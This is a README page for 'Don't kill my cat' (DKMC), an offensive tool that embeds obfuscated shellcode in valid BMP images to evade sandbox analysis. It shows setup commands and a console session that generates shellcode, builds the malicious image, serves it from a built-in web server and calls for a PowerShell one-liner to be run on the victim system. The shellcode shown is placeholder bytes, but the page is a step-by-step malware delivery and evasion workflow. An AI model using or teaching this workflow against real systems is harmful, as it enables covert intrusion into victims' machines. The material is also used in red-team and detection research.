DKMC - Dont kill my cat - Malicious payload evasion tool
DKMC - Dont kill my cat - Malicious payload evasion tool
WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission.
Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. The idea is to avoid sandbox analysis since it's a simple "legit" image. For now the tool rely on PowerShell the execute the final shellcode payload.
Why it's called don't kill my cat? Since I suck at finding names for tools, I decided to rely on the fact that the default BMP image is a cat to name the tool.
Presentation on how it works internally can be found here: https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf
$ git clone https://github.com/Mr-Un1k0d3r/DKMC
$ cd DKMC
$ mkdir outputLaunching DKMC
$ python dkmc.py
DKMC - Don't kill my cat
Evasion tool - Mr.Un1k0d3r RingZer0 Team
|\ _,,,---,,_
/,`.-'`' -. ;-;;,_
|,4- ) )-,_..;\ ( `'-'
'---''(_/--' `-'\_) The sleepy cat
----------------------------------------------------
Select an option:
[*] (gen) Generate a malicious BMP image
[*] (web) Start a web server and deliver malicious image
[*] (ps) Generate Powershell payload
[*] (sc) Generate shellcode from raw file
[*] (exit) Quit the application
>>>Generate shellcode from a raw file
>>> sc
(shellcode)>>> set source shellcode.txt
[+] source value is set.
(shellcode)>>> run
[+] Shellcode:
\x41\x41\x41\x41Generate the obfuscated shellcode embedded inside of an image.
>>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
[+] shellcode value is set.
(generate)>>> run
[+] Image size is 300 x 275
[+] Generating obfuscation key 0x1f1dad93
[+] Shellcode size 0x4 (4) bytes
[+] Generating magic bytes 0xa4d0c752
[+] Final shellcode length is 0x57 (87) bytes
[+] New BMP header set to 0x424de9a4c60300
[+] New height is 0x0e010000 (270)
[+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)
(generate)>>>Generate PowerShell payload to execute on the victim system.
…Built-in Web Server to deliver the image
>>> web
(web)>>> set port 8080
[+] port value is set.
(web)>>> run
[+] Starting web server on port 8080
127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -Final step require you to run the PowerShell oneliner on the victim system.
Support more file format.
Mr.Un1k0d3r RingZer0 Team 2016
No open issues yet, or sync has not completed.